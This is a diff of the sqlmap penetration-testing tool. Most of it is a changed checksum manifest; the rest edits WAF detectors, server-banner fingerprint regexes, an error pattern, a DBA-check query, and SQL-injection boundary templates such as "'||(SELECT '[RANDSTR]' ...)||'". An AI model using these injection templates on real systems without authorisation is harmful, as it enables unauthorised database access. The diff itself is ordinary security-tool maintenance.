-9ed51d3e770b5cec2f8c91e962011d52  lib/core/common.py
+cbf9428039f52d8ee80fcf79b6583b7c  lib/core/common.py
 0d082da16c388b3445e656e0760fb582  lib/core/convert.py
 9f87391b6a3395f7f50830b391264f27  lib/core/data.py
 72016ea5c994a711a262fd64572a0fcd  lib/core/datatype.py
 4086fb55f42e27de5330505605baad0f  lib/core/decorators.py
 fbb55cc6100318ff922957b6577dc58f  lib/core/defaults.py
-ac7c070b2726d39fbac1916b1a5f92b2  lib/core/dicts.py
-760de985e09f5d11aacd3a8f2d8e9ff2  lib/core/dump.py
-0cf974cf4ff3b96e1a349a12e39f4693  lib/core/enums.py
+4d50e0f893477196d83608175d1a7de4  lib/core/dicts.py
+d4b3d448bcfd9f15d089fc81d38f4825  lib/core/dump.py
+705fcf5b66cb4518a54e4d717c915968  lib/core/enums.py
 cada93357a7321655927fc9625b3bfec  lib/core/exception.py
 1e5532ede194ac9c083891c2f02bca93  lib/core/__init__.py
 458a194764805cd8312c14ecd4be4d1e  lib/core/log.py
 7d6edc552e08c30f4f4d49fa93b746f1  lib/core/optiondict.py
-7dacc178910ab4d57de36c3602bde17d  lib/core/option.py
+2f2b2286f82028cf36ace9be3af06bf9  lib/core/option.py
 c8c386d644d57c659d74542f5f57f632  lib/core/patch.py
 6783160150b4711d02c56ee2beadffdb  lib/core/profiling.py
 6f654e1715571eff68a0f8af3d62dcf8  lib/core/readlineng.py
 0c3eef46bdbf87e29a3f95f90240d192  lib/core/replication.py
 a7db43859b61569b601b97f187dd31c5  lib/core/revision.py
 fcb74fcc9577523524659ec49e2e964b  lib/core/session.py
-9f209388d9fed41480e57c8574d0111a  lib/core/settings.py
-a971ce157d04de96ba6e710d3d38a9a8  lib/core/shell.py
+a1ed8cb875f1b56683b2b320ccb63197  lib/core/settings.py
+dd68a9d02fccb4fa1428b20e15b0db5d  lib/core/shell.py
 a7edc9250d13af36ac0108f259859c19  lib/core/subprocessng.py
-52642badbbca4c31a2fcdd754d67a983  lib/core/target.py
+62bc180e3e828949ffb342a8f756c183  lib/core/target.py
 72d499ca8d792e90a1ebfb2ad2341a51  lib/core/testing.py
-cd0067d1798e45f422ce44b98baf57db  lib/core/threads.py
+29efb66f3c444c09d29925cf552851cd  lib/core/threads.py
 c40758411bb0bd68764d78e0bb72bd0f  lib/core/unescaper.py
 b35636650cfe721f5cc47fb91737c061  lib/core/update.py
 e772deb63270375e685fa5a7b775c382  lib/core/wordlist.py
 1e5532ede194ac9c083891c2f02bca93  lib/__init__.py
 7620f1f4b8791e13c7184c06b5421754  lib/parse/banner.py
-30d7cbada42154dcbb17f4ca969d812a  lib/parse/cmdline.py
+4296aee13e84a7394f2329dc7ea542ef  lib/parse/cmdline.py
 fb2e2f05dde98caeac6ccf3e67192177  lib/parse/configfile.py
 3794ff139869f5ae8e81cfdbe5714f56  lib/parse/handler.py
 6bab53ea9d75bc9bb8169d3e8f3f149f  lib/parse/headers.py
@@ -71,7 +71,7 @@ f6b5957bf2103c3999891e4f45180bce  lib/parse/payloads.py
 30eed3a92a04ed2c29770e1b10d39dc0  lib/request/basicauthhandler.py
 2b81435f5a7519298c15c724e3194a0d  lib/request/basic.py
 859b6ad583e0ffba154f17ee179b5b89  lib/request/comparison.py
-77b24c30b1a2163add76652998e74127  lib/request/connect.py
+35db2a1779b9c71dfa183ac1f8995a5b  lib/request/connect.py
 dd4598675027fae99f2e2475b05986da  lib/request/direct.py
 2044fce3f4ffa268fcfaaf63241b1e64  lib/request/dns.py
 98535d0efca5551e712fcc4b34a3f772  lib/request/httpshandler.py
@@ -101,13 +101,13 @@ db208ab47de010836c6bf044e2357861  lib/techniques/blind/inference.py
 1e5532ede194ac9c083891c2f02bca93  lib/techniques/union/__init__.py
 f7813cdee00df8f98d6f811475e520a1  lib/techniques/union/test.py
 7361338240ecd9d01d1d10ec76bce069  lib/techniques/union/use.py
-038ec99105c59acc2b1c6cb90e9e4043  lib/utils/api.py
+77ff35587af9e3dfde63b8327e230f9a  lib/utils/api.py
 37dfb641358669f62c2acedff241348b  lib/utils/brute.py
 31b1e7eb489eac837db6a2bc1dcb7da7  lib/utils/crawler.py
 f9867bbfcd6d31916ca73e72e95fd881  lib/utils/deps.py
 f7af65aa47329d021e2b2cc8521b42a4  lib/utils/getch.py
 7af29f61302c8693cd6436d4b69e22d3  lib/utils/har.py
-1205648d55649accafae2cc77d647aa0  lib/utils/hashdb.py
+062e4e8fc43ac54305a75ddd0d482f81  lib/utils/hashdb.py
 d0f4d56c5d6a09a4635035e233d4a782  lib/utils/hash.py
 011d2dbf589e0faa0deca61a651239cc  lib/utils/htmlentities.py
 1e5532ede194ac9c083891c2f02bca93  lib/utils/__init__.py
@@ -119,42 +119,35 @@ d0f4d56c5d6a09a4635035e233d4a782  lib/utils/hash.py
 dcc25183c6bd85b172c87cfcbc305ab6  lib/utils/timeout.py
 4703ceeb32131a9a7a6561575644123b  lib/utils/versioncheck.py
 e9e73cd6bd814dd7823a9da913cea61c  lib/utils/xrange.py
-d8a541a63f3b561334de51abb4dcad55  plugins/dbms/access/connector.py
+b9d2761f47fec3d98b88311a263fd5db  plugins/dbms/access/connector.py
 3f1c50a1507d1c2f69c20c706230e2e2  plugins/dbms/access/enumeration.py
 fcc66fc377db3681f7890ec55675564b  plugins/dbms/access/filesystem.py
 cdd082981b421248ece0e7cf278071ff  plugins/dbms/access/fingerprint.py
 e657b1b7a295a38ac9ce515158164f00  plugins/dbms/access/__init__.py
 77686d7c7e287d5db0a9a87f2c7d4902  plugins/dbms/access/syntax.py
 2f1d8706b51497623b2b59c07b552bdc  plugins/dbms/access/takeover.py
-24a79eb2dde8ea9340a701c8c2591701  plugins/dbms/db2/connector.py
+8df07c2805aceb7d6fb4add40de84795  plugins/dbms/db2/connector.py
 4deeda463003ab71e7d2f34a263b5bbf  plugins/dbms/db2/enumeration.py
 da9dccd1f9ec2cf1e53295125dd983a0  plugins/dbms/db2/filesystem.py
 ce434fc05a7ad236c49a155d62f0cac4  plugins/dbms/db2/fingerprint.py
 95b35cbd859bbced44e7f8fd84486d75  plugins/dbms/db2/__init__.py
 82d96d8fcfd565129580260040555623  plugins/dbms/db2/syntax.py
 25f0fb28e9defcab48a2e946fbb7550a  plugins/dbms/db2/takeover.py
-1ac54bbfb81ffed945636432bc49466b  plugins/dbms/firebird/connector.py
+53bd7de27d37958f543f5329362ac298  plugins/dbms/firebird/connector.py
 bc4d71116d7296d63894484f2e60ade2  plugins/dbms/firebird/enumeration.py
 c3ca81000200e5ab4210e9bf2e04ce93  plugins/dbms/firebird/filesystem.py
 bf98dbd666c162088f23ee697c065010  plugins/dbms/firebird/fingerprint.py
 d4ea3036492b8ae15340548b2936021f  plugins/dbms/firebird/__init__.py
 c56f2dabe88fd761a1a9a51e4d104088  plugins/dbms/firebird/syntax.py
 1522a29bd4b54ea78bb2855fc32b6c72  plugins/dbms/firebird/takeover.py
-79c44d8d0dffc140d38796a32e92a66a  plugins/dbms/h2/connector.py
-5b99e9a60409f54a140747ce1ca0342f  plugins/dbms/h2/enumeration.py
-36522c36650afc43c1166ab68b297ecb  plugins/dbms/h2/filesystem.py
-83255ebf7b1d23a408f0c68a7fa63422  plugins/dbms/h2/fingerprint.py
-1de698e4cfddd754ffe31ea2640a481a  plugins/dbms/h2/__init__.py
-4673ebfdce9859718c19e8a7765da8d3  plugins/dbms/h2/syntax.py
-af746ef421cfefedc1aaa9dca1503de2  plugins/dbms/h2/takeover.py
 271a7f16e781d56a0a31a3d5515a1945  plugins/dbms/hsqldb/connector.py
 95919592e5bb83df00b99bb9e8a70977  plugins/dbms/hsqldb/enumeration.py
-7747ad6cc12e295ba3fb4518ac083d1e  plugins/dbms/hsqldb/filesystem.py
-b061bdbb9159c449072fde51b444f1c0  plugins/dbms/hsqldb/fingerprint.py
+616595e74ecb644271cbbd31815d92e0  plugins/dbms/hsqldb/filesystem.py
+aabc2b877a3696b99912bdf362c0fb69  plugins/dbms/hsqldb/fingerprint.py
 fd369161778d6b48d7f1f7fc14dcdb5c  plugins/dbms/hsqldb/__init__.py
 4673ebfdce9859718c19e8a7765da8d3  plugins/dbms/hsqldb/syntax.py
 7c0535736215ca612756cf589adb249b  plugins/dbms/hsqldb/takeover.py
-d61a5f79a9fa07c06fe7f5a653662e95  plugins/dbms/informix/connector.py
+97dac442190bd4ffac3ba292e2abfd4c  plugins/dbms/informix/connector.py
 c54d70e4847c6327bd3110c4d8723b04  plugins/dbms/informix/enumeration.py
 da9dccd1f9ec2cf1e53295125dd983a0  plugins/dbms/informix/filesystem.py
 b182f01c2ba82aa94fbe4948383ea98d  plugins/dbms/informix/fingerprint.py
@@ -162,23 +155,23 @@ b182f01c2ba82aa94fbe4948383ea98d  plugins/dbms/informix/fingerprint.py
 aa77fec4fe6b2d7ca4a91aebd9ff4e21  plugins/dbms/informix/syntax.py
 25f0fb28e9defcab48a2e946fbb7550a  plugins/dbms/informix/takeover.py
 1e5532ede194ac9c083891c2f02bca93  plugins/dbms/__init__.py
-9c0307881fae556521bec393956664b0  plugins/dbms/maxdb/connector.py
-1f3f9d4c7ec62452ed2465cd9cf50aa1  plugins/dbms/maxdb/enumeration.py
+6917f9b045f6188b89e816dea9b46a3f  plugins/dbms/maxdb/connector.py
+53d1bf931baa6b76198ece861e2318a3  plugins/dbms/maxdb/enumeration.py
 ffd26f64142226d0b1ed1d70f7f294c0  plugins/dbms/maxdb/filesystem.py
 9f9f1c4c4c3150545c4b61d1cffc76a8  plugins/dbms/maxdb/fingerprint.py
 4321d7018f5121343460ebfd83bb69be  plugins/dbms/maxdb/__init__.py
 e7d44671ae26c0bcd5fe8448be070bbd  plugins/dbms/maxdb/syntax.py
 bf7842bb291e2297c3c8d1023eb3e550  plugins/dbms/maxdb/takeover.py
-5e1c7e578d07f3670bba5d88d856715d  plugins/dbms/mssqlserver/connector.py
+decc645344bb93aca504a71ba2e4cad4  plugins/dbms/mssqlserver/connector.py
 f1f1541a54faf67440179fa521f99849  plugins/dbms/mssqlserver/enumeration.py
 65911fdc86fa6322e72319e6488a0bb8  plugins/dbms/mssqlserver/filesystem.py
 6cf74341fc84588205e02b70b2f0f5b6  plugins/dbms/mssqlserver/fingerprint.py
 f25c50a95e5390ecd32be5a011637349  plugins/dbms/mssqlserver/__init__.py
 612be1929108e7b4512a49a4a3837bbc  plugins/dbms/mssqlserver/syntax.py
 3c0845fa526e1bb7bbe636fcfcbcc4a6  plugins/dbms/mssqlserver/takeover.py
-14bfa3960ed0b4bec2cd29800ec525b7  plugins/dbms/mysql/connector.py
+11a5724fdc0b0c0eb2626d952cda216a  plugins/dbms/mysql/connector.py
 445164daf59b890aeacc968af58fcb53  plugins/dbms/mysql/enumeration.py
-edec54520556a5eb66900fca697940ff  plugins/dbms/mysql/filesystem.py
+34216d44fe66ffc8c5b4a0714839cf9f  plugins/dbms/mysql/filesystem.py
 1c0175476b833a1b788550726be67c99  plugins/dbms/mysql/fingerprint.py
 30065993f8300994e4658634121609e9  plugins/dbms/mysql/__init__.py
 0e2adbee217f5b94dcc124d24b8dde99  plugins/dbms/mysql/syntax.py
@@ -193,7 +186,7 @@ bcdbd9c04d7d5a911e0e31abe1a24f0f  plugins/dbms/oracle/takeover.py
 f99c23db4ee6a6b8c0edbf684d360ad3  plugins/dbms/postgresql/connector.py
 7cdb821884e5f15084d1bea7f8a50574  plugins/dbms/postgresql/enumeration.py
 c8bb829d45752b98e6a03817b92e0fe5  plugins/dbms/postgresql/filesystem.py
-1449c89fa6dac9b62e814cc65233b9de  plugins/dbms/postgresql/fingerprint.py
+c490b23b19e40e15cfbdbb026386bbd7  plugins/dbms/postgresql/fingerprint.py
 470860d3e85d11a67f2220bffaa415e7  plugins/dbms/postgresql/__init__.py
 20e6f48f496348be45f3402ebc265dbb  plugins/dbms/postgresql/syntax.py
 1287acf330da86a93c8e64aff46e3b65  plugins/dbms/postgresql/takeover.py
@@ -205,25 +198,25 @@ f639120d42b33b6ca67930bddbf2ac1f  plugins/dbms/sqlite/__init__.py
 964e59d2eba619b068b0a15cea28efe0  plugins/dbms/sqlite/syntax.py
 3364b2938d7040c507cd622c323557dc  plugins/dbms/sqlite/takeover.py
 9e64e67291a4c369bad8b8cf2cfa722a  plugins/dbms/sybase/connector.py
-4fe9ee0dfa50e9c46e6512128471cbee  plugins/dbms/sybase/enumeration.py
+b856f677371a59d4a01b72bacac88032  plugins/dbms/sybase/enumeration.py
 74de450dd6d6d006aa9c7eed56e6b09a  plugins/dbms/sybase/filesystem.py
 0329ab09187614bea02398def59695ec  plugins/dbms/sybase/fingerprint.py
 a3db8618eed5bb2807b6f77605cba9cc  plugins/dbms/sybase/__init__.py
 36acb9a5966af21b32e8558b0d50653d  plugins/dbms/sybase/syntax.py
 79f6c7017db4ded8f74a0117188836ff  plugins/dbms/sybase/takeover.py
-bdc159cc5afb28cadd980c01c43ba669  plugins/generic/connector.py
+34d181a7086d6dfc7e72ae5f8a4cfe0f  plugins/generic/connector.py
 ce6a6ff713852b5eca7b78316cc941c4  plugins/generic/custom.py
-3d75e831574c750ed58e24eaa562c056  plugins/generic/databases.py
-35546acab0eea406c23b84363df4d534  plugins/generic/entries.py
+2e0c1c5ced14222d9fef2dd12447d815  plugins/generic/databases.py
+ea3a7f87e3e0cbc3aacbd3af4b6f5ce6  plugins/generic/entries.py
 d82f2c78c1d4d7c6487e94fd3a68a908  plugins/generic/enumeration.py
 0a67b8b46f69df7cfacc286b47a0d9a5  plugins/generic/filesystem.py
 f5d5419efddfe04648ea5e953c650793  plugins/generic/fingerprint.py
 1e5532ede194ac9c083891c2f02bca93  plugins/generic/__init__.py
 f7874230e5661910d5fd21544c7d1022  plugins/generic/misc.py
-30b421f06dc98998ddc1923a9048b7fc  plugins/generic/search.py
+b1d2a7f3170f9b69e71335aa47f9b08b  plugins/generic/search.py
 a70cc0ada4b0cc9e7df23cb6d48a4a0c  plugins/generic/syntax.py
-f990d799e578dfbc3cde5728655a7854  plugins/generic/takeover.py
-1265241e309da72bb82c3863a4c1b4bd  plugins/generic/users.py
+a37c21cc3fa5c0c220d33d450bf503ed  plugins/generic/takeover.py
+4db140069923afbae38fd93e37c00248  plugins/generic/users.py
 1e5532ede194ac9c083891c2f02bca93  plugins/__init__.py
 5dc693e22f5d020c5c568d7325bd4226  shell/backdoors/backdoor.asp_
 158bfa168128393dde8d6ed11fe9a1b8  shell/backdoors/backdoor.aspx_
@@ -234,7 +227,7 @@ ec2ba8c757ac96425dcd2b97970edd3a  shell/stagers/stager.asp_
 0c48ddb1feb7e38a951ef05a0d48e032  shell/stagers/stager.jsp_
 2f9e459a4cf6a58680978cdce5ff7971  shell/stagers/stager.php_
 cd90da0474d7b1a67d7b40d208493375  sqlmapapi.py
-fa713ca1dc1983f3cb3d90e76a05819a  sqlmap.py
+5f30815ebe320e46e5898dc819e629a7  sqlmap.py
 523dab9e1093eb59264c6beb366b255a  tamper/0x2char.py
 3a1697585ae4e7bf315e9dda97d6f321  tamper/apostrophemask.py
 d7a119a74be9b385ee3884fb5e6af041  tamper/apostrophenullencode.py
@@ -261,17 +254,18 @@ ef0639557a79e57b06296c4bc223ebef  tamper/htmlencode.py
 1e5532ede194ac9c083891c2f02bca93  tamper/__init__.py
 2dc49bcd6c55f4e2322b07fa92685356  tamper/least.py
 40d1ea0796fd91cb3cdd602e36daed15  tamper/lowercase.py
-a54b361da0ac6988d0b97bc79463615d  tamper/luanginx.py
 1c4d622d1c2c77fc3db1f8b3849467ee  tamper/modsecurityversioned.py
 f177a624c2cd3431c433769c6eb995e7  tamper/modsecurityzeroversioned.py
 91b63afdb96b1d51c12a14cbd425d310  tamper/multiplespaces.py
+efd1917c6ccc632f044084a30e0e0f98  tamper/nonrecursivereplacement.py
 dcf3458f9010ca41bc4b56804f15792c  tamper/overlongutf8more.py
 a3a3cef042b864c4226b63f89548f939  tamper/overlongutf8.py
 89f8753a0ef65d2bb860c8864e9e935a  tamper/percentage.py
 a47aafcbc1de2deb85160e29de46f748  tamper/plus2concat.py
 759b86cf3bb1d7871dc6489538253f94  tamper/plus2fnconcat.py
-b9db4cc9fc4e0a586198340d1268fdaf  tamper/randomcase.py
+078494e1217400b485ef653108d32699  tamper/randomcase.py
 28626e4b8c673228dcfe4f1627a9e08b  tamper/randomcomments.py
+938bfac6e55a8823e4a66cd29166d980  tamper/securesphere.py
 cac8a56f8cc6c14524ee392daa5ae2fd  tamper/space2comment.py
 4e6da2aca962b6110652e5f83dce5cd7  tamper/space2dash.py
 7cdbae483262f66ef5d77521c59d9621  tamper/space2hash.py
@@ -284,15 +278,15 @@ b55ed15af74ffefc4dc303646c7c6482  tamper/space2mssqlblank.py
 72a547bc3bf32dba0d1c3093988df8af  tamper/space2plus.py
 a74cd6375c5d5d253e2e7014b00ecd33  tamper/space2randomblank.py
 93fc10b57586936cef05e88227c84ad0  tamper/sp_password.py
-690eb5200c9e61e54cd8952edaefda23  tamper/symboliclogical.py
+041cb567dff6bb6e7389e12ab3fb84c6  tamper/symboliclogical.py
 6679c4ffb7322315a738dcfa68c6fb7c  tamper/unionalltounion.py
-0a7e97374019321ffc606d41535f26d6  tamper/unmagicquotes.py
+51d20b5cb5a50fc2e44d39087f865d23  tamper/unmagicquotes.py
 cc212839f55692d422beef3a8e22a8d4  tamper/uppercase.py
 f2b9eac52d346315f5705f71beeda791  tamper/varnish.py
 0e40966a51d1eb5d42a2159d2015a8a4  tamper/versionedkeywords.py
 0fba004bf1be6edbefbda89f23f4e518  tamper/versionedmorekeywords.py
-d8279aa1633e2485ed751eb0361d1c8e  tamper/xforwardedfor.py
-b1c02296b4e3b0ebaa58b9dcd914cbf4  thirdparty/ansistrm/ansistrm.py
+bb87c2c0ec66927015c9709aaaf93561  tamper/xforwardedfor.py
+1ebf563bb2cb18b68ea952418bba0ec5  thirdparty/ansistrm/ansistrm.py
 d41d8cd98f00b204e9800998ecf8427e  thirdparty/ansistrm/__init__.py
 8e775c25bc9e84891ad6fcb4f0005c23  thirdparty/beautifulsoup/beautifulsoup.py
 cb2e1fe7c404dff41a2ae9132828f532  thirdparty/beautifulsoup/__init__.py
@@ -367,7 +361,7 @@ a7f735641c5b695f3d6220fe7c91b030  thirdparty/pydes/pyDes.py
 d41d8cd98f00b204e9800998ecf8427e  thirdparty/socks/__init__.py
 afd97f26bffa0532ee4eb4f5f8ec1ab7  thirdparty/socks/socks.py
 d41d8cd98f00b204e9800998ecf8427e  thirdparty/termcolor/__init__.py
-d97198005a387a9d23916c616620ef7f  thirdparty/termcolor/termcolor.py
+ea649aae139d8551af513769dd913dbf  thirdparty/termcolor/termcolor.py
 bf55909ad163b58236e44b86e8441b26  thirdparty/wininetpton/__init__.py
 a44e7cf30f2189b2fbdb635b310cdc0c  thirdparty/wininetpton/win_inet_pton.py
 855372c870a23d46683f8aa39d75f6a1  thirdparty/xdot/__init__.py
@@ -408,10 +402,9 @@ ef722d062564def381b1f96f5faadee3  waf/baidu.py
 44f724ab7d333397975fecdf7e50be56  waf/bigip.py
 6a2834daf767491d3331bd31e946d540  waf/binarysec.py
 41e399dbfe7b904d5aacfb37d85e1fbf  waf/blockdos.py
-c52c6974c0dae6815f27cfdee6121d7b  waf/chinacache.py
 2f3bbf43be94d4e9ffe9f80e8483d62f  waf/ciscoacexml.py
 ba84f296cb52f5e78a0670b98d7763fa  waf/cloudbric.py
-a1d16d7106c9c66072aa58530c288515  waf/cloudflare.py
+94b50385a9d462492e3a639d71aaa1c3  waf/cloudflare.py
 a8affab0838c6a1fe683d5b7333d7a69  waf/cloudfront.py
 ac96f34c254951d301973617064eb1b5  waf/comodo.py
 c84e515440fe482476c1f2687bd9960f  waf/crawlprotect.py
@@ -466,19 +459,19 @@ a687449cd4e45f69e33b13d41e021480  waf/uspses.py
 68e332530fab216d017ede506c3fec2f  waf/yundun.py
 bea35ba732ccc9548e6c4023cea6832b  waf/yunsuo.py
 47f8f6623841232a93c5229d6c1bebfe  waf/zenedge.py
-e68f399aeaa5b516f043af88dd4871a0  xml/banner/generic.xml
+dc394c5b90ada0a5d5853b5ad1f7d56d  xml/banner/generic.xml
 d8925c034263bf1b83e7d8e1c78eec57  xml/banner/mssql.xml
 7b21aeb3ad66d7686eacd23a6346292c  xml/banner/mysql.xml
 9b262a617b06af56b1267987d694bf6f  xml/banner/oracle.xml
 c26cd4fa986ddc9f6d92dd87c8fc61cb  xml/banner/postgresql.xml
-5f8975d03665aad58c3ee8acea85b06b  xml/banner/server.xml
+4970709ca31bcaea5eb79547a132606a  xml/banner/server.xml
 d48c971769c6131e35bd52d2315a8d58  xml/banner/servlet-engine.xml
-5fa1805d3007c68b051f2c70afcf41ed  xml/banner/set-cookie.xml
+58be20a3b29a9108d043786907700469  xml/banner/set-cookie.xml
 d989813ee377252bca2103cea524c06b  xml/banner/sharepoint.xml
 350605448f049cd982554123a75f11e1  xml/banner/x-aspnet-version.xml
-ccb5e02a692f75d11b7fd00f1db48bf5  xml/banner/x-powered-by.xml
-385570003bf7d84f2502191eae8268c6  xml/boundaries.xml
-a676d93d413b07d36495201d88671253  xml/errors.xml
+817078783e1edaa492773d3b34d8eef0  xml/banner/x-powered-by.xml
+3059d50cf0cd17a403c17833f0bcd4df  xml/boundaries.xml
+6cffc395cd0280f5c1a84542da6642e5  xml/errors.xml
 a279656ea3fcb85c727249b02f828383  xml/livetests.xml
 11547289b99eaced5b55185a3230529a  xml/payloads/boolean_blind.xml
 0656ba4132cd02477be90e65a7ddf6ce  xml/payloads/error_based.xml
@@ -486,4 +479,4 @@ a279656ea3fcb85c727249b02f828383  xml/livetests.xml
 82c65823a0af3fccbecf37f1c75f0b29  xml/payloads/stacked_queries.xml
 92c41925eba27afeed76bceba6b18be2  xml/payloads/time_blind.xml
 ac649aff0e7db413e4937e446e398736  xml/payloads/union_query.xml
-7bbf2a82593efffc68e8001299a5691f  xml/queries.xml
+b148ef9ef70aaada9eb6e58ab1e384e1  xml/queries.xml

waf/chinacache.py

@@ -1,22 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-from lib.core.settings import WAF_ATTACK_VECTORS
-
-__product__ = "ChinaCache (ChinaCache Networks)"
-
-def detect(get_page):
-    retval = False
-
-    for vector in WAF_ATTACK_VECTORS:
-        page, headers, code = get_page(get=vector)
-        retval = code >= 400 and headers.get("Powered-By-ChinaCache") is not None
-
-        if retval:
-            break
-
-    return retval

waf/cloudflare.py

@@ -25,7 +25,6 @@ def detect(get_page):
             retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None
             retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Please complete the security check to access"))
             retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Sorry, you have been blocked"))
-            retval |= any(_ in (page or "") for _ in ("CLOUDFLARE_ERROR_500S_BOX", "::CAPTCHA_BOX::"))
 
         if retval:
             break

xml/banner/generic.xml

@@ -33,47 +33,47 @@
 
     <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
 
-    <regexp value="Windows.*\b10\.0">
+    <regexp value="Windows.*10\.0">
         <info type="Windows" distrib="2016|10"/>
     </regexp>
 
-    <regexp value="Windows.*\b6\.3">
+    <regexp value="Windows.*6\.3">
         <info type="Windows" distrib="2012 R2|8.1"/>
     </regexp>
 
-    <regexp value="Windows.*\b6\.2">
+    <regexp value="Windows.*6\.2">
         <info type="Windows" distrib="2012|8"/>
     </regexp>
 
-    <regexp value="Windows.*\b6\.1">
+    <regexp value="Windows.*6\.1">
         <info type="Windows" distrib="2008 R2|7"/>
     </regexp>
 
-    <regexp value="Windows.*\b6\.0">
+    <regexp value="Windows.*6\.0">
         <info type="Windows" distrib="2008|Vista"/>
     </regexp>
 
-    <regexp value="Windows.*\b5\.2">
+    <regexp value="Windows.*5\.2">
         <info type="Windows" distrib="2003"/>
     </regexp>
 
-    <regexp value="Windows.*\b5\.1">
+    <regexp value="Windows.*5\.1">
         <info type="Windows" distrib="XP"/>
     </regexp>
 
-    <regexp value="Windows.*\b5\.0">
+    <regexp value="Windows.*5\.0">
         <info type="Windows" distrib="2000"/>
     </regexp>
 
-    <regexp value="Windows.*\b4\.0">
+    <regexp value="Windows.*4\.0">
         <info type="Windows" distrib="NT 4.0"/>
     </regexp>
 
-    <regexp value="Windows.*\b3\.0">
+    <regexp value="Windows.*3\.0">
         <info type="Windows" distrib="NT 4.0"/>
     </regexp>
 
-    <regexp value="Windows.*\b2\.0">
+    <regexp value="Windows.*2\.0">
         <info type="Windows" distrib="NT 4.0"/>
     </regexp>
 

xml/banner/server.xml

@@ -802,57 +802,13 @@
 
     <!-- Nginx -->
 
-    <regexp value="nginx$">
-        <info technology="Nginx"/>
-    </regexp>
-
     <regexp value="nginx/([\w\.]+)">
-        <info technology="Nginx" tech_version="1"/>
+        <info technology="Nginx"/>
     </regexp>
 
     <!-- Google Web Server -->
 
-    <regexp value="GWS$">
+    <regexp value="GWS/([\w\.]+)">
         <info technology="Google Web Server"/>
     </regexp>
-
-    <regexp value="GWS/([\w\.]+)">
-        <info technology="Google Web Server" tech_version="1"/>
-    </regexp>
-
-    <!-- lighttpd -->
-
-    <regexp value="lighttpd$">
-        <info technology="lighttpd"/>
-    </regexp>
-
-    <regexp value="lighttpd/([\w\.]+)">
-        <info technology="lighttpd" tech_version="1"/>
-    </regexp>
-
-    <!-- OpenResty -->
-
-    <regexp value="openresty$">
-        <info technology="OpenResty"/>
-    </regexp>
-
-    <regexp value="openresty/([\w\.]+)">
-        <info technology="OpenResty" tech_version="1"/>
-    </regexp>
-
-    <!-- LiteSpeed -->
-
-    <regexp value="LiteSpeed$">
-        <info technology="LiteSpeed"/>
-    </regexp>
-
-    <regexp value="LiteSpeed/([\w\.]+)">
-        <info technology="LiteSpeed" tech_version="1"/>
-    </regexp>
-
-    <!-- Sun ONE -->
-
-    <regexp value="Sun-ONE-Web-Server/([\w\.]+)">
-        <info technology="Sun ONE" tech_version="1"/>
-    </regexp>
 </root>

xml/banner/set-cookie.xml

@@ -19,35 +19,19 @@
         <info technology="JSP"/>
     </regexp>
 
-    <regexp value="JServSessionId">
-        <info technology="JServ"/>
-    </regexp>
-
-    <regexp value="Ltpatoken">
-        <info technology="WebSphere"/>
-    </regexp>
-
     <regexp value="PHPSESSION">
         <info technology="PHP"/>
     </regexp>
 
-    <regexp value="RoxenUserID">
-        <info technology="Roxen"/>
-    </regexp>
-
-    <regexp value="wiki\d+_session">
-        <info technology="MediaWiki"/>
-    </regexp>
-
     <regexp value="Apache">
         <info technology="Apache"/>
     </regexp>
 
-    <regexp value="DomAuthSessID">
-        <info technology="Domino|Notes"/>
+    <regexp value="JServSessionId">
+        <info technology="Apache|JSP"/>
     </regexp>
 
-    <regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
+    <regexp value="CFID|CFTOKEN|CFMAGIC">
         <info technology="ColdFusion"/>
     </regexp>
 </root>

xml/banner/x-powered-by.xml

@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
-<!-- Reference: https://publicwww.com/popular/powered/index.html -->
+<!-- Reference: http://www.http-stats.com/X-Powered-By -->
 
 <root>
     <regexp value="PHP[\-\_\/\ ]([\d\.]+)">
@@ -15,22 +15,6 @@
         <info technology="ASP" type="Windows"/>
     </regexp>
 
-    <regexp value="EasyEngine ([\d\.]+)">
-        <info technology="EasyEngine" tech_version="1"/>
-    </regexp>
-
-    <regexp value="PleskLin">
-        <info technology="Plesk" type="Linux"/>
-    </regexp>
-
-    <regexp value="PleskWin">
-        <info technology="Plesk" type="Windows"/>
-    </regexp>
-
-    <regexp value="ThinkPHP">
-        <info technology="ThinkPHP"/>
-    </regexp>
-
     <regexp value="ASP\.NET">
         <info technology="ASP.NET" type="Windows"/>
     </regexp>

xml/boundaries.xml

@@ -383,7 +383,7 @@ Formats:
         <clause>9</clause>
         <where>1</where>
         <ptype>2</ptype>
-        <prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix>)||'</suffix>
     </boundary>
 
@@ -392,10 +392,19 @@ Formats:
         <clause>9</clause>
         <where>1</where>
         <ptype>2</ptype>
-        <prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix>)||'</suffix>
     </boundary>
 
+    <boundary>
+        <level>5</level>
+        <clause>9</clause>
+        <where>1</where>
+        <ptype>1</ptype>
+        <prefix>'+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)+'</suffix>
+    </boundary>
+
     <boundary>
         <level>5</level>
         <clause>9</clause>

xml/errors.xml

@@ -135,9 +135,4 @@
         <error regexp="Unexpected token.*?in statement \["/>
     </dbms>
 
-    <!-- H2 -->
-    <dbms value="H2">
-        <error regexp="org\.h2\.jdbc"/>
-    </dbms>
-
 </root>

xml/queries.xml

@@ -676,7 +676,7 @@
         <hostname/>
         <table_comment/>
         <column_comment/>
-        <is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
+        <is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER=CURRENT_USER"/>
         <check_udf/>
         <users>
             <!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
